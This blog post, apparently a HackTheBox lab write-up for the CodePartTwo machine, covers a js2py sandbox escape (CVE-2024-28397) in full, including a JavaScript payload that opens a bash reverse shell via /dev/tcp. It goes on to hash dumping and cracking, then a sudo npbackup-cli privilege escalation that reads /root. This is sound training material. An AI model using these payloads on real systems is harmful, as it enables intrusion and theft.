20kilograma`s blog

My Blog for Tech

Machine - CodePartTwo (Easy)

image

Hello everyone, today I am writing a write-up for the CodePartTwo machine on HackTheBox. It featured a vulnerable Js2Py library within a Flask application that allowed for a sandbox escape and then Remote Code Execution.

Initial nmap Scan:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-01 17:17 CET
Nmap scan report for 10.129.232.59
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds


Now, as you can see, we only have SSH and HTTP 8000 open. When we visit the web app we can see this: image
When we download the app, we can see it’s a Flask Web App. If we check the requirements.txt file for libraries that are included in the application:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74


It contains a vulnerable version of js2py to CVE-2024–28397.
After we register and log in on the web app, there is a Code Editor that allows us to run JavaScript code, we can read the source code from the zip of the app we downloaded, but it was pretty obvious that here is the place where the vulnerable version of js2py to sandbox-escape is being used. image
I used the publicly available code for the sandbox-escape to get the revershe shell:

let cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/{YOUR_IP}/{LISTENER_PORT} 0>&1'"
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
result


Now obviously we have the shell as app. We need to escalate the privileges further for the normal user to get the user flag.
image
If we check the ~/app/instance directory, we can see there is a users.db file, when we open the file, we can see there is a user table, now we select all the users from there:

SELECT * FROM user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

We just have to crack the hash for marco user on crackstation, so we can ssh into the machine as marco to get the user flag.

marco@codeparttwo:~$ ls
backups  npbackup.conf  user.txt
marco@codeparttwo:~$ cat user.txt 
<REDACTED>


Onto privilege escalation to root, we check which files we can run with sudo:

marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

This is good, we already have the configuration file in our home directory which points the path to /home/app/app . Now we can just create another copy of the configuration file which points to the /root and run the backup with sudo.

marco@codeparttwo:~$ cat npbackuproot.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /root
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
...LOT MORE


sudo /usr/local/bin/npbackup-cli -c npbackuproot.conf -b -f

Succesful, now we can just dump the root flag:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackuproot.conf --dump /root/root.txt
<REDACTED>



Thank you for reading this Writeup, appreciate it <3 and I’ll soon write more!